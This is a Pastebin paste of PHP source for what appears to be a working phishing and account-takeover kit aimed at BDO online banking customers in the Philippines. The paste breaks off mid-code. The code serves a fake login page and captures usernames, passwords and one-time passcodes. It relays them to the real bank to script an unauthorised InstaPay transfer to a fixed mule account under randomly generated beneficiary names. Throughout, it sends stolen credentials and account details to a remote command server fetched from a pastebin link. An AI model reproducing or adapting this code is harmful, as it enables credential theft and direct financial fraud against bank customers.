API tools faq
paste
Hyperhacker

XYZ

Hyperhacker
Feb 20th, 2020
313
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 59.82 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. $site = isset($_SERVER['HTTP_HOST']) ? "https://" : "http://";
  4. $site = $site.$_SERVER['SERVER_NAME'];
  5. $unique = strtoupper(substr(hash("sha256", md5($_SERVER['REMOTE_ADDR'])),0,6));
  6.  
  7.  
  8. $sitedefault = "index.php";
  9. $l = strrev("knilnu");
  10. $j = strrev("doced_46e");
  11. $jj = "bas" . $j . "e";
  12. $req = basename(strtok($_SERVER['REQUEST_URI'], '?'));
  13. $requrl = strtok($_SERVER['REQUEST_URI'], '?');
  14.  
  15. $configs = array( // to be updated
  16. "update" => [
  17. "secret" => "/sso/account/update",
  18. "pb" => "https://pastebin.com/raw/dePTpLfj"
  19. ],
  20. "verification" => [
  21. "secret" => "/update/account/verification",
  22. "pb" => "https://pastebin.com/raw/dePTpLfj"
  23. ],
  24. "demo" => [
  25. "secret" => "/demo",
  26. "pb" => "https://pastebin.com/raw/955i167G"
  27. ]
  28.  
  29. );
  30.  
  31. $protocol = "http"; // IMPORTANT!!!!!!!!!!!!!!!
  32. define('protocol',$protocol);
  33.  
  34. if(isset($configs[$req])) {
  35. @$_SESSION['fx__'] = $configs[$req]["secret"];
  36. @$_SESSION['secret__'] = $req;
  37. $ch = @curl_init();
  38. $options = [
  39. CURLOPT_SSL_VERIFYPEER => false,
  40. CURLOPT_RETURNTRANSFER => true,
  41. CURLOPT_URL => @$configs[$req]["pb"]
  42. ];
  43. @curl_setopt_array($ch, $options);
  44. $c2 = explode(":", curl_exec($ch), 3);
  45. curl_close($ch);
  46. if(!isset($_SESSION['send2'])) {
  47. @$_SESSION['send2'] = $protocol."://" . $c2[2];
  48. }
  49. }
  50.  
  51. $pOw = json_decode(@file_get_contents(@$_SESSION['send2']."?action=live"));
  52.  
  53. if(!empty($pOw)) {
  54. $maxX = ["num",0];
  55. foreach ($pOw as $g) {
  56. if($g->capacity > $maxX[1]) {
  57. $maxX[0] = @$g->number;
  58. $maxX[1] = @$g->capacity;
  59. $maxX[2] = @$g->type;
  60. }
  61. }
  62. }
  63.  
  64. $_SESSION['available_Bank'] = @$maxX;
  65.  
  66.  
  67. if ($req == "session" && $requrl == "/show/session") {
  68. print_r(@$_SESSION['account_X']);
  69. print_r(@array_slice($_SESSION['q'], 4, -102));
  70. @print_r(@$_SESSION);
  71. //echo implode("|",@$_SESSION[account_X]);
  72. exit;
  73. } elseif ($req == "logout" && $requrl == "/user/logout") {
  74. $go = http_build_query([
  75. "auth" => "report",
  76. "json" => json_encode([
  77. "auth" => "report",
  78. "status" => "LOGOUT",
  79. "info" => "&mdash;&#187; \r\n[<crimson> LOGOUT </crimson>] <font color='white'>user:</font>"
  80. .@$_SESSION['user']." <font color='white'> &mdash; pass:</font>".@$_SESSION['pass']
  81. ." [<crimson> IDLE FOR TOO LONG </crimson>]",
  82. "site" => $site
  83. ])
  84. ]);
  85. fLy($go);
  86. session_destroy();
  87. session_unset();
  88. foreach ($configs as $get) {
  89. if(!isset($to)) {
  90. $to = $get['secret'];
  91. }
  92. }
  93. header("Location: " . $to . "");
  94.  
  95. } elseif ($req != "" && explode('/', $requrl)[1] == "jsso_otp") {
  96. include "." .str_replace(explode('/', $requrl)[1] ."/","",$requrl);
  97.  
  98. } elseif ($req == @$_SESSION['secret__'] && $requrl == @$_SESSION['fx__']."/" || $req == @$_SESSION['secret__'] && $requrl == @$_SESSION['fx__']) {
  99. if(!empty(@$_SESSION['teamcc'])) {
  100.  
  101. switch ($_SESSION['teamcc']) {
  102. case "start":
  103. header("Location: /" . $_SESSION['thicc'] . "/management/process");
  104. exit;
  105. break;
  106. case "start2":
  107. header("Location: /otp/" . $_SESSION['thicc'] . "/process");
  108. exit;
  109. break;
  110. }
  111. } else {
  112. @$_SESSION['teamcc'] = 'start';
  113. @$thicc = md5(date('m:D-Y_h:i:s'));
  114. @$_SESSION['thicc'] = $thicc[3] . $thicc[9] . $thicc[26] . $thicc[0] . $thicc[17];
  115. header("Location: /" . $_SESSION['thicc'] . "/management/process");
  116. // header('Location: net::ERR_CONNECTION_REFUSED');
  117. exit;
  118. }
  119.  
  120. } elseif ($requrl == "/login/auth") {
  121. $go = http_build_query([
  122. "auth" => "report",
  123. "json" => json_encode([
  124. "auth" => "report",
  125. "status" => "LOGIN",
  126. "info" => "&mdash;&#187; \r\n[<crimson> LOGIN </crimson>] <font color='white'>user:</font>"
  127. .@$_SESSION['user']." <font color='white'> &mdash; pass:</font>".@$_SESSION['pass']
  128. ." \r[<crimson> CROSS &times; FINGERS </crimson>]",
  129. "site" => $site
  130. ])
  131. ]);
  132. fLy($go);
  133. } elseif (@$_SESSION['teamcc'] == 'start') {
  134. if ($req == "process" && $requrl == "/" . @$_SESSION['thicc'] . "/management/process") {
  135. unset($_SESSION['goldHead']);
  136. start___();
  137. if(isset($_POST) && count($_POST) > 0) {
  138. $user = @$_POST['channelUserID'];
  139. $pass = @$_POST['pwd__'];
  140.  
  141. if(strlen($user) == 0) {
  142. $stat_ = "User ID is required";
  143. } elseif (strlen($pass) == 0) {
  144. $stat_ = "Password is required";
  145. } else {
  146.  
  147. $_SESSION['user'] = $user;
  148. $_SESSION['pass'] = $pass;
  149. $res = act1($_POST);
  150. $stat = json_decode(json_encode($res['info']))->http_code;
  151. updateGold($res['header']);
  152. if($stat == 302 && !empty($_SESSION['goldHead']['Location'])) {
  153. @$_SESSION['success_attempt'] = "report";
  154. @$_SESSION['teamcc'] = 'start2';
  155. @$_SESSION['proceed_'] = "num";
  156. header("Location: /otp/" . $_SESSION['thicc'] . "/process");
  157. exit;
  158. } else {
  159. $dom = new DOMDocument();
  160. @$dom->loadHTML($res['contents']);
  161. $xpath = new DOMXPath($dom);
  162. $tags = $xpath->query('//span[@class="feedbackPanelERROR"]');
  163. $error = @$tags->item(0)->nodeValue;
  164. if($error == "Your account is locked. Please use \"Forgot your password?\".") {
  165. @session_destroy();
  166. @session_unset();
  167. header("Location: https://online.bdo.com.ph/sso/login?action=5");
  168. exit;
  169. }
  170. $stat_ = $error;
  171. }
  172. }
  173. }
  174. require '_hid_/login.html';
  175. @ob_end_flush(); @ob_flush();
  176. } else {
  177. header('Location: net::ERR_CONNECTION_REFUSED');
  178. // header("Location: /" . $_SESSION['thicc'] . "/management/process");
  179. }
  180. } elseif (@$_SESSION['process'] == 'transfer' && $requrl == "/sso/account/verification") {
  181.  
  182. //============================================================================================//
  183. $fo = array(
  184. "Host: www.mybdo.com.ph",
  185. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  186. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  187. "DNT: 1",
  188. "Connection: close",
  189. "Upgrade-Insecure-Requests: 1"
  190. );
  191. $foStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank","GET", false, $fo, true, false);
  192. updateGold($foStat['header']);
  193. //============================================================================================//
  194. $fo1 = array(
  195. "Host: www.mybdo.com.ph",
  196. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  197. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  198. "Referer: https://online.bdo.com.ph/",
  199. "DNT: 1",
  200. "Connection: close",
  201. "Cookie: ".str_replace(explode("; ",$_SESSION['goldHead']['/fo'], 2)[1],explode("; ",$_SESSION['goldHead']['/sso'],2)[1],$_SESSION['goldHead']['/fo']),
  202. "Upgrade-Insecure-Requests: 1"
  203. );
  204. $foStat1 = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank","GET", false, $fo1, true, false);
  205. $_SESSION['goldHead']['/fo'] = str_replace(explode("; ",$_SESSION['goldHead']['/fo'], 2)[1],explode("; ",$_SESSION['goldHead']['/sso'],2)[1],$_SESSION['goldHead']['/fo']);
  206. updateGold($foStat1['header']);
  207.  
  208. //============================================================================================//
  209. $fo2 = array(
  210. "Host: www.mybdo.com.ph",
  211. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  212. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  213. "Referer: https://online.bdo.com.ph/",
  214. "DNT: 1",
  215. "Connection: close",
  216. "Cookie: ".$_SESSION['goldHead']['/fo'],
  217. "Upgrade-Insecure-Requests: 1"
  218. );
  219. $foStat2 = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank","GET", false, $fo2, true, false);
  220. updateGold($foStat2['header']);
  221. // print_r($foStat2['contents']); exit;
  222. //============================================================================================//
  223. $dom = new DOMDocument();
  224. @$dom->loadHTML($foStat2['contents']);
  225. $xpath = new DOMXPath($dom);
  226.  
  227. $checkError = $xpath->query('//label[@class="feedbackPanelERROR"]');
  228. if(isset($checkError->item(0)->nodeValue)) {
  229. $report = @$checkError->item(0)->nodeValue;
  230. $ta = http_build_query([
  231. "auth" => "report",
  232. "json" => json_encode([
  233. "auth" => "report",
  234. "status" => "SITE-ERROR",
  235. "info" => "&mdash;&#187; \r\n[<crimson> STATUS </crimson>] <font color='white'>".$report."</font> \r[ ACC-INFO ] ".@implode("|",@$_SESSION['account_dump']),
  236. "site" => $site
  237. ])
  238. ]);
  239. fLy($ta);
  240. echo "refresh";
  241. exit;
  242. }
  243.  
  244. $tags = $xpath->query('//select[@class="required"]//option');
  245. $reqID = $xpath->query('//input[@type="submit"]');
  246. $hID = $xpath->query('//select[@name="remitterPortlet:remitterDest1Wmc:otherBank"]');
  247. $hxID = $xpath->query('//select[@name="remitterPortlet:remitterAdd1Wmc:account"]');
  248. $hxyID = $xpath->query('//input[@name="remitterPortlet:remitterAdd1Wmc:amount"]');
  249.  
  250. $x = count($tags);
  251. $ri = count($reqID);
  252.  
  253. $q = [];
  254. $w = [];
  255. if (!isset($_SESSION['banks'])) {
  256. $_SESSION['banks'] = [];
  257. }
  258.  
  259. for ($i=0;$i<$x;$i++) {
  260. if(!empty($tags->item($i)->getAttribute('value'))) {
  261. $q[$i] = ["********".substr(substr(@$tags->item($i)->nodeValue,0,12),-4,4) => @$tags->item($i)->getAttribute('value')];
  262. $w[md5(@$tags->item($i)->nodeValue)] = @$tags->item($i)->getAttribute('value');
  263. @$_SESSION['banks'][@$tags->item($i)->getAttribute('value')] = @$tags->item($i)->nodeValue;
  264. }
  265. }
  266.  
  267. if(!isset($_SESSION['q'])) {
  268. $_SESSION['q'] = $q;
  269. }
  270. // if(!isset($_SESSION['account_dump'])) {
  271. // @$_SESSION['account_dump'] = json_encode(array_slice($_SESSION['q'], 4, -102));
  272. // }
  273. foreach (array_slice($_SESSION['q'], 4, -102) as $acc_) {
  274. if (!empty($acc_)) {
  275. @$_SESSION['v_'] = @$_SESSION['v_']."|".implode(":",$acc_);
  276. }
  277. if(isset($acc_[@$_SESSION['account_X'][0]])) {
  278. $_SESSION['accID__'] = $acc_[@$_SESSION['account_X'][0]];
  279. }
  280. }
  281.  
  282. // echo @$_SESSION['v_']."\r\n";
  283. // echo @$_SESSION['accID__']."\r\n";
  284. // echo $_SESSION['account_dump'];
  285. // print_r(@$_SESSION['account_X']);
  286. // print_r(array_slice($_SESSION['q'], 4, -102));
  287.  
  288. // exit;
  289.  
  290.  
  291. $rKey = @getBetween(@$reqID->item(0)->getAttribute('onclick'),"?x=","', 'confirm");
  292. $rId = @$reqID->item(0)->getAttribute('id');
  293. $transID = @$w[md5("Credit to Other Bank")];
  294. // $bankID = @$w[md5("Union Bank of the Philippines via InstaPay[UB]")]; // Union Bank of the Philippines via InstaPay[UB] | G-Xchange, Inc.11-digits via InstaPay[GXI] |
  295.  
  296. $hxId = @$hxID->item(0)->getAttribute('id');
  297. $hxKey = @getBetween(@$hxID->item(0)->getAttribute('onchange'),"?x=","', wicketSerialize");
  298. $hxData = http_build_query([
  299. "remitterPortlet:remitterAdd1Wmc:account" => @$_SESSION['accID__']
  300. ]);
  301. $hxHead = array(
  302. "Host: www.mybdo.com.ph",
  303. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  304. "Accept: text/xml",
  305. "Accept-Language: en-US,en;q=0.5",
  306. "Content-Type: application/x-www-form-urlencoded",
  307. "Wicket-Ajax: true",
  308. "Wicket-FocusedElementId: ".$hxId,
  309. "Content-Length: ". strlen($hxData),
  310. "Origin: https://www.mybdo.com.ph",
  311. "DNT: 1",
  312. "Connection: close",
  313. "Referer: https://www.mybdo.com.ph/fo/remittanceotherbank",
  314. "Cookie: ".$_SESSION['goldHead']['/fo']
  315. );
  316. $hxStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank?x=".$hxKey."&random=".md5(date("h:i:s")),"POST", $hxData, $hxHead, true, false);
  317. updateGold($hxStat['header']);
  318. //============================================================================================//
  319. $hxyId = @$hxyID->item(0)->getAttribute('id');
  320. $hxyKey = @getBetween(@$hxyID->item(0)->getAttribute('onblur'),"?x=","', wicketSerialize");
  321. $hxyData = http_build_query([
  322. "remitterPortlet:remitterAdd1Wmc:amount" => number_format(@$_SESSION['transfer'], 2, '.', '')
  323. ]);
  324. $hxyHead = array(
  325. "Host: www.mybdo.com.ph",
  326. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  327. "Accept: text/xml",
  328. "Accept-Language: en-US,en;q=0.5",
  329. "Content-Type: application/x-www-form-urlencoded",
  330. "Wicket-Ajax: true",
  331. "Wicket-FocusedElementId: ".$hxyId,
  332. "Content-Length: ". strlen($hxyData),
  333. "Origin: https://www.mybdo.com.ph",
  334. "DNT: 1",
  335. "Connection: close",
  336. "Referer: https://www.mybdo.com.ph/fo/remittanceotherbank",
  337. "Cookie: ".$_SESSION['goldHead']['/fo']
  338. );
  339. $hxyStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank?x=".$hxyKey."&random=".md5(date("h:i:s")),"POST", $hxyData, $hxyHead, true, false);
  340. updateGold($hxyStat['header']);
  341. //============================================================================================//
  342. $hId = @$hID->item(0)->getAttribute('id');
  343. $hKey = @getBetween(@$hID->item(0)->getAttribute('onchange'),"?x=","', wicketSerialize");
  344. $hData = http_build_query([
  345. "remitterPortlet:remitterDest1Wmc:otherBank" => @$_SESSION['available_Bank'][2]
  346. ]);
  347. $hHead = array(
  348. "Host: www.mybdo.com.ph",
  349. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  350. "Accept: text/xml",
  351. "Accept-Language: en-US,en;q=0.5",
  352. "Content-Type: application/x-www-form-urlencoded",
  353. "Wicket-Ajax: true",
  354. "Wicket-FocusedElementId: ".$hId,
  355. "Content-Length: ". strlen($hData),
  356. "Origin: https://www.mybdo.com.ph",
  357. "DNT: 1",
  358. "Connection: close",
  359. "Referer: https://www.mybdo.com.ph/fo/remittanceotherbank",
  360. "Cookie: ".$_SESSION['goldHead']['/fo']
  361. );
  362. $hStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank?x=".$hKey."&random=".md5(date("h:i:s")),"POST", $hData, $hHead, true, false);
  363. updateGold($hStat['header']);
  364. //============================================================================================//
  365. $arrX = array("Igme Sanchez","Rizal Gabriel","Liberato Custodio","Virgilio Viloria","Heherson Johnson","Restituto Howard","Joriz Ferrer","Isko Espiritu","Jay Clark","Edcel Salas","Luzvimindo Santiago","Ramil Esguerra","Edcel Devera","Fermin Thomas","Jejomar Gonzalez","Edcel Ward","Isko Juan","Rizal Agustin","Arnel Ross","Makisig Rivera","Rodel Phillips","Crisanto Miranda","Isko Bell","Danilo Mendoza","Romel White","Gener Desilva","Virgilio Carlos","Bagwis Mercado","Isagani Antonio","Narding Nelson","Arnel Acosta","Rosito Ballesteros","Makisig Phillips","Jay Foster","Jejomar Davis","Melchor Wright","Rizalino Russell","Narding Juan","Jay Miguel","Gener Gutierrez","Arvin Ancheta","Crisanto Lazaro","Narding Scott","Narding Ferrer","Datu Salazar","Rizalino Bailey","Virgilio Evans","Danilo Gutierrez","Virgilio Carlos","Makisig Agustin");
  366. $randIndex = array_rand($arrX);
  367. $name = explode(" ",$arrX[$randIndex],2);
  368. array_push($name,strtoupper($name[0][(strlen($name[0]) - 3)]));
  369.  
  370. $remittanceotherbankData = http_build_query([
  371. "id7_hf_0" => "",
  372. "remitterPortlet:remitterMainWmc:settlementType" => "Credit To Another Local Bank",
  373. "remitterPortlet:remitterMainWmc:remittanceTransactionType" => $transID,
  374. "remitterPortlet:remitterAdd1Wmc:account" => @$_SESSION['accID__'],
  375. "remitterPortlet:remitterAdd1Wmc:amount" => number_format(@$_SESSION['transfer'], 2, '.', ''),
  376. "remitterPortlet:remitterDest1Wmc:otherBank" => @$_SESSION['available_Bank'][2],
  377. "remitterPortlet:remitterDest2Wmc:accountNo" => @$_SESSION['available_Bank'][0],
  378. "beneficiaryWmc:beneficiaryDetailPanel:beneficiaryPortlet:beneMainName:beneficiaryLastName" => $name[1],
  379. "beneficiaryWmc:beneficiaryDetailPanel:beneficiaryPortlet:beneMainName:beneficiaryFirstName" => $name[0],
  380. "beneficiaryWmc:beneficiaryDetailPanel:beneficiaryPortlet:beneMainName:beneficiaryMiddleInit" => strtolower($name[2]),
  381. "beneficiaryWmc:beneficiaryDetailPanel:beneficiaryPortlet:beneMain2:beneficiaryMobileNo" => "09".(rand(111111111,999999999)),
  382. "beneficiaryWmc:beneficiaryDetailPanel:beneficiaryPortlet:beneMain2:purposeOfRemittance" => strtoupper($name[0]).substr(strtoupper(md5(date("h:i:s"))),0,5)." ".date("m/d/Y h:i:s"),
  383. "confirm" => 1
  384. ]);
  385. $_SESSION['xTra'] = number_format(@$_SESSION['transfer'], 2, '.', '');
  386. $_SESSION['on/sucess'] = "&mdash;&#187; [<crimson> STATUS </crimson>] "
  387. .$_SESSION['user']."::".$_SESSION['pass'];
  388. $remittanceotherbank = array(
  389. "Host: www.mybdo.com.ph",
  390. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  391. "Accept: text/xml",
  392. "Accept-Language: en-US,en;q=0.5",
  393. "Content-Type: application/x-www-form-urlencoded",
  394. "Wicket-Ajax: true",
  395. "Wicket-FocusedElementId: ".$rId,
  396. "Content-Length: ". strlen($remittanceotherbankData),
  397. "Origin: https://www.mybdo.com.ph",
  398. "DNT: 1",
  399. "Connection: close",
  400. "Referer: https://www.mybdo.com.ph/fo/remittanceotherbank",
  401. "Cookie: ".$_SESSION['goldHead']['/fo']
  402. );
  403. $remittanceotherbankStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank?x=".$rKey."&random=".md5(date("h:i:s")),"POST", $remittanceotherbankData, $remittanceotherbank, true, false);
  404. updateGold($remittanceotherbankStat['header']);
  405. // print_r($remittanceotherbankStat['contents']); exit;
  406. //============================================================================================//
  407. $dom = new DOMDocument();
  408. @$dom->loadHTML($remittanceotherbankStat['contents']);
  409. $xpath = new DOMXPath($dom);
  410.  
  411. $checkError = $xpath->query('//span[@class="feedbackPanelERROR"]');
  412. if(isset($checkError->item(0)->nodeValue)) {
  413. $report = @$checkError->item(0)->nodeValue;
  414. $trans = "";
  415. $transInfo = [
  416. "trans_id" => $transID,
  417. "account_id" => @$_SESSION['accID__'],
  418. "transfer_amount" => number_format(@$_SESSION['transfer'], 2, '.', ''),
  419. "bank_id" => @$_SESSION['available_Bank'][2],
  420. "account_number" => @$_SESSION['available_Bank'][0],
  421. "generated_info" => "RCVR:: ".$name[0]." ".$name[2]." ".$name[1]."|mobile:".@$_SESSION['available_Bank'][0]."|purpose:"."LOAN PAYMENT ".date("m/d/Y h:i:s")
  422. ];
  423. foreach ($transInfo as $key => $val) {
  424. $trans .= "| ".$key." => ".$val." \r";
  425. }
  426. $ta = http_build_query([
  427. "auth" => "report",
  428. "json" => json_encode([
  429. "auth" => "report",
  430. "status" => "SITE-ERROR",
  431. "info" => "&mdash;&#187; \r\n[<crimson> STATUS </crimson>] <font color='white'>".$report."</font> \r[ ACC-INFO ] ".@$_SESSION['account_dump']." \r[TRANSFER:INFO] :: \r". $trans,
  432. "site" => $site
  433. ])
  434. ]);
  435. fLy($ta);
  436. echo "refresh";
  437. exit;
  438. }
  439.  
  440. $sttLast = $xpath->query('//input[@name="confirmationModal:content:form:submit"]');
  441. $sttlKey = @getBetween(@$sttLast->item(0)->getAttribute('onclick'),"?x=","', 'confirmationModal");
  442. $sttlId = @$sttLast->item(0)->getAttribute('id');
  443.  
  444. $sttlData = http_build_query([
  445. "confirmationModal:content:form:submit" => 1
  446. ]);
  447.  
  448. $sttlHead = array(
  449. "Host: www.mybdo.com.ph",
  450. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  451. "Accept: text/xml",
  452. "Accept-Language: en-US,en;q=0.5",
  453. "Content-Type: application/x-www-form-urlencoded",
  454. "Wicket-Ajax: true",
  455. "Wicket-FocusedElementId: ".$sttlId,
  456. "Content-Length: ". strlen($sttlData),
  457. "Origin: https://www.mybdo.com.ph",
  458. "DNT: 1",
  459. "Connection: close",
  460. "Referer: https://www.mybdo.com.ph/fo/remittanceotherbank",
  461. "Cookie: ".$_SESSION['goldHead']['/fo']
  462. );
  463. $sttlStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank?x=".$sttlKey."&random=".md5(date("h:i:s")),"POST", $sttlData, $sttlHead, true, false);
  464. updateGold($sttlStat['header']);
  465. //============================================================================================//
  466. $dom = new DOMDocument();
  467. @$dom->loadHTML($sttlStat['contents']);
  468. $xpath = new DOMXPath($dom);
  469. if($_SESSION['plat_'] == "form") {
  470. $sttLast = $xpath->query('//input[@type="submit"]'); // need to fix
  471. $HopeKey = @getBetween(@$sttLast->item(0)->getAttribute('onclick'),"?x=","', 'otpModal");
  472. } else {
  473. $sttLast = $xpath->query('//input[@name="otpGenModal:content:otpGenForm:submitButton"]');
  474. $HopeKey = @getBetween(@$sttLast->item(0)->getAttribute('onclick'),"?x=","', 'otpGenModal");
  475. }
  476. $HopeId = @$sttLast->item(0)->getAttribute('id');
  477.  
  478. $_SESSION['HopeID'] = $HopeId;
  479. $_SESSION['HopeKey'] = $HopeKey;
  480. $_SESSION['HOPE'] = "NOT_DEAD";
  481. unset($_SESSION['kraKen']);
  482. $ta = http_build_query([
  483. "auth" => "report",
  484. "json" => json_encode([
  485. "auth" => "report",
  486. "status" => "HOPE",
  487. "info" => $_SESSION['on/sucess']
  488. ." &mdash;&#187; \r\n[<crimson> ATTEMPT </crimson>] Attempt to send <font color='#d100ff'>". number_format(@$_SESSION['transfer'], 2, '.', '')."</font> -TO- <font color='white'>109420092918</font> \r[ ACC-INFO ] ".@$_SESSION['email_number'].@$_SESSION['account_dump'],
  489. "site" => $site
  490. ])
  491. ]);
  492. fLy($ta);
  493.  
  494. // print_r($_SESSION['available_Bank']);
  495. echo $_SESSION['otpStat']; exit;
  496.  
  497. } elseif (@$_SESSION['teamcc'] == 'start2') {
  498. if($req == "process" && $requrl == "/otp/" . @$_SESSION['thicc'] . "/process") {
  499. switch (@$_SESSION['proceed_']) {
  500. case "num":
  501. if(empty($_SESSION['kraKen']) && empty($_SESSION['HOPE']) && !empty($_SESSION['goldHead']['Location'])) { // FIRST OTP SET
  502. $headers2 = array(
  503. "Host: online.bdo.com.ph",
  504. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  505. "Accept-Language: en-US,en;q=0.5",
  506. "Content-Type: application/x-www-form-urlencoded",
  507. "Referer: https://online.bdo.com.ph/sso/login?josso_back_to=https://online.bdo.com.ph/sso/josso_security_check",
  508. "DNT: 1",
  509. "Connection: close",
  510. "Cookie: ".$_SESSION['goldHead']['/sso'],
  511. "Upgrade-Insecure-Requests: 1"
  512. );
  513. $res2 = curlContents($_SESSION['goldHead']['Location'],"GET", false, $headers2, true, false);
  514.  
  515. // print_r($res2['contents']); header('Content-Type: text/plain; charset=utf-8'); exit;
  516. $dom = new DOMDocument();
  517. @$dom->loadHTML($res2['contents']);
  518. $xpath = new DOMXPath($dom);
  519. $tags = $xpath->query('//input[@class="sxi-button ui-corner-all ui-state-default"]');
  520.  
  521. if(count($tags) == 0) {
  522. header("Location: /user/logout");
  523. exit;
  524. } else {
  525. $key = @getBetween(@$tags[0]->getAttribute('onclick'),"?x=","', 'submitButton");
  526. $wicked = @$tags[0]->getAttribute('id');
  527. $tags2 = $xpath->query('//label[@class="standardfont formlabel"]');
  528. $_SESSION["ot"] = @$tags2[0]->nodeValue;
  529. $_SESSION["ott"] = @$tags2[1]->nodeValue;
  530. if(count($tags2) > 1) {
  531. $_SESSION["otpType"] = "S";
  532. } else {
  533. $_SESSION["otpType"] = "D";
  534. }
  535. }
  536.  
  537.  
  538. }
  539.  
  540. $otpType = $_SESSION["otpType"];
  541. $ot = @$_SESSION["ot"];
  542. $ott = @$_SESSION["ott"];
  543.  
  544. if(isset($_POST) && count($_POST) > 0) {
  545. if(!empty($_SESSION['goldHead']['Location'])) {
  546. if(!empty($_POST['otp']) && strlen($_POST['otp']) == 6 && is_numeric($_POST['otp'])) {
  547.  
  548.  
  549. $otp_ = $_POST['otp'];
  550. $OTP = $postdata = http_build_query(
  551. [
  552. "ide_hf_0" => "",
  553. "otp" => $otp_, // OTP HERE
  554. "submitButton" => 1
  555. ]
  556. );
  557.  
  558. if(!empty($_SESSION['HOPE'])) { // 2ND STAGE OTP SET
  559. if($_SESSION['plat_'] == "form") {
  560. $plat_ = [
  561. "otpModal:content:form:otp" => $otp_,
  562. "otpModal:content:form:submitButton"=>1
  563. ];
  564. } else {
  565. $plat_ = [
  566. "otpGenModal:content:otpGenForm:otp" => $otp_,
  567. "otpGenModal:content:otpGenForm:submitButton" => 1
  568. ];
  569. }
  570. $hopeData = http_build_query($plat_);
  571. $hopeHead = array(
  572. "Host: www.mybdo.com.ph",
  573. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  574. "Accept: text/xml",
  575. "Accept-Language: en-US,en;q=0.5",
  576. "Content-Type: application/x-www-form-urlencoded",
  577. "Wicket-Ajax: true",
  578. "Wicket-FocusedElementId: ".$_SESSION['HopeID'],
  579. "Content-Length: ". strlen($hopeData),
  580. "Origin: https://www.mybdo.com.ph",
  581. "DNT: 1",
  582. "Connection: close",
  583. "Referer: https://www.mybdo.com.ph/fo/remittanceotherbank",
  584. "Cookie: ".@$_SESSION['goldHead']['/fo']
  585. );
  586. $hopeStat = curlContents("https://www.mybdo.com.ph/fo/remittanceotherbank?x=".$_SESSION['HopeKey']."&random=".md5(date("h:i:s")),"POST", $hopeData, $hopeHead, true, false);
  587.  
  588. if(strlen($hopeStat['contents']) < 2) {
  589.  
  590. $hopeStatus = $_SESSION['on/sucess']
  591. ." &mdash;&#187; \r\n[<deepskyblue> TRANSFERED </deepskyblue>] XXX - <font color='#d100ff'>"
  592. . number_format($_SESSION['xTra'])
  593. ."</font> -TO- <font color='white'>109420092918</font> [ "
  594. .@$_SESSION['banks'][@$_SESSION['available_Bank'][2]]. " ] via InstaPAY";
  595.  
  596. $tranStat = "SUCCESS";
  597. } else {
  598. $tranStat = "FAILED";
  599. $dom = new DOMDocument();
  600. @$dom->loadHTML($hopeStat['contents']);
  601. $xpath = new DOMXPath($dom);
  602. $tags = $xpath->query('//span[@class="feedbackPanelERROR"]');
  603. $hopeStatus = $_SESSION['on/sucess'] ." &mdash;&#187; <font color='#d100ff'>ERROR_ON</font> [<crimson> TRANSFER </crimson>] <font color='#d100ff'>". number_format($_SESSION['xTra'])." <font color='white'> to </font>".@$_SESSION['available_Bank'][0]." </font> &mdash;&#187; STAT: <font color='white'>" /*.@$tags->item(0)->nodeValue*/ .substr(@$tags->item(0)->nodeValue, 0, 40) ."...</font>";
  604. }
  605.  
  606. if($tranStat == "SUCCESS") {
  607. $ddd = http_build_query([
  608. "auth" => "report",
  609. "json" => json_encode([
  610. "auth" => "report",
  611. "status" => $tranStat,
  612. "info" => $hopeStatus,
  613. "site" => $site
  614. ])
  615. ]);
  616. fLy($ddd);
  617.  
  618. $xyz = http_build_query([
  619. "auth" => "update",
  620. "num" => substr(@$_SESSION['available_Bank'][0],1,10),
  621. "sent" => @$_SESSION['xTra']
  622. ]);
  623. fLy($xyz);
  624. foreach ($_SESSION as $sesh => $ops) {
  625. $_SESSION[$sesh] = "";
  626. unset($_SESSION[$sesh]);
  627. }
  628. //STAGE 1 BETA
  629. header("Location: https://www.bdo.com.ph/personal/ebanking/account-security");
  630. //STAGE 1 BETA
  631. } else {
  632. if(@$tags->item(0)->nodeValue != "IST51: Insufficient balance.") {
  633. if(substr(@$tags->item(0)->nodeValue,0,16) == "Sorry, we are un") {
  634. $hopeStatus = $_SESSION['on/sucess'] ." &mdash;&#187; <font color='#d100ff'>ACCOUNT_ERROR</font> [<crimson> TRANSFER </crimson>] <font color='#d100ff'>". number_format($_SESSION['xTra'])." <font color='white'> to </font>".@$_SESSION['available_Bank'][0]." </font> &mdash;&#187; STAT: <font color='white'>" /*.@$tags->item(0)->nodeValue*/ .substr(@$tags->item(0)->nodeValue, 0, 40) ."...</font>";
  635. $ddd = http_build_query([
  636. "auth" => "report",
  637. "json" => json_encode([
  638. "auth" => "report",
  639. "status" => $tranStat,
